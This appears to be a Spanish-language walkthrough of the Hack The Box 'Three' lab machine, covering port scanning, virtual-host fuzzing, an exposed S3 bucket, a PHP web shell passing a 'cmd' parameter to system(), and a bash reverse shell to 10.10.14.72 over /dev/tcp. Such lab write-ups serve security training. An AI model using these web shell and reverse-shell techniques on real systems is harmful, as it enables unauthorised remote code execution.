Three

Dificultad: Very Easy - OS: Unix

Enumeración de puertos/servicios

┌──(root㉿kali)-[/home/kali]
└─# nmap -sCV -p- --open -T4 -v -n 10.129.239.89
📌Parámetros
  • -sCV:

    • -sC: Ejecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.

    • -sV: Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.

  • -n: No resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --open: Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4: Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.

  • -v: Modo verbose → Muestra más detalles sobre el progreso del escaneo

Resultados:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)
|   256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)
|_  256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Toppers
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Inspección de la página web

Encontramos un dominio en el correo mail@thetoppers.htb, pero por problemas de virtual host no podemos verlo en el navegador, así que primero hay que guardar este host en el archivo local /etc/hosts

Subdirectory Fuzzing

Ahora podemos hacer una búsqueda de subdirectorios con gobuster

📌Desglose del comando
  • gobuster vhost

    • Indica que Gobuster usará el modo Virtual Host Enumeration (enumeración de hosts virtuales).

    • Este modo busca Virtual Hosts en un servidor web en lugar de subdominios en el DNS.

    Útil cuando:

    • El servidor web usa múltiples Virtual Hosts en la misma IP.

    • El objetivo no tiene subdominios en el DNS, pero puede responder con diferentes sitios según el Host.

  • --append-domain

    • Añade automáticamente el dominio (thetoppers.htb) a cada entrada de la wordlist.

    • Por ejemplo, si en la wordlist aparece admin, Gobuster probará admin.thetoppers.htb como un virtual host.

  • -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

    • Especifica la wordlist de posibles nombres de Virtual Hosts.

  • -u http://thetoppers.htb

    • Indica la URL base del servidor web en el que se están probando los Virtual Hosts.

    • Gobuster enviará peticiones HTTP con diferentes nombres en la cabecera Host.

El subdominio que nos interesa para este caso es: s3.thetoppers.htb Ahora lo mapeamos con la IP en el archivo /etc/hosts para que el navegador lo resuelva automáticamente

¿Que es el subdominio s3? El subdominio s3 generalmente hace referencia a Amazon Simple Storage Service (Amazon S3), que es un servicio de almacenamiento en la nube proporcionado por AWS.

  • Un subdominio s3 como s3.tudominio.com suele indicar que el sitio está usando un bucket de S3 para alojar archivos estáticos, como imágenes, videos, documentos o incluso sitios web completos.

  • En muchos casos, este subdominio apunta directamente a un bucket público o privado de Amazon S3.

Para continuar con la intrusión a los recursos del bucket s3 primero vamos a necesitar instalar y configurar el awscli. Pasos:

Nota: para configurar las credenciales de aws ver el siguiente link:

Conexiones a Bucket s3

Otra opción para conectarnos al recurso sin configurar el awscli es:

Web Shell Upload via Insecure S3 Bucket

Ahora que ya comprobamos el acceso a los recursos del bucket s3, lo que podemos hacer es subir una web shell al bucket s3 de la siguiente manera

Esta web shell nos permitira inyectar comandos (RCE) al equipo objetivo utilizando el parametro cmd en la URL

  • $_GET["cmd"] obtiene el valor del parámetro cmd enviado en la URL.

  • system() ejecuta ese valor como un comando en el sistema operativo y muestra la salida.

El segundo paso es generar un payload de reverse shell en Bash. Con esto podremos establecer una conexión desde la máquina víctima hacia nuestro equipo.

  • bash -i → Inicia un shell interactivo de Bash.

  • >& /dev/tcp/10.10.14.72/1337 → Redirige la entrada y salida del shell hacia la IP 10.10.14.72, en el puerto 1337, utilizando la interfaz de dispositivos /dev/tcp/.

  • 0>&1 → Redirige el descriptor de archivo estándar de entrada (0) al descriptor de salida estándar (1), asegurando que la interacción funcione correctamente.

Con la web shell.php vamos a descargar el payload shell.sh y ejecutarlo en el equipo objetivo para que se conecte al netcat de nuestro equipo. Siguientes pasos: levantar el servidor con python3 para compartir el shell.sh y ponernos en escucha con netcat

Ahora vamos a la página web y, usando el shell.php que subimos anteriormente al bucket, le vamos a indicar que se conecte a nuestro servidor atacante y descarge el recurso compartido: shell.sh y lo ejecute automaticamente con bash

Descargamos el recurso compartido local: shell.sh del server que levantamos con python3:

Remote Code Execution

Recibiendo la conexión reversa en nc:

Last updated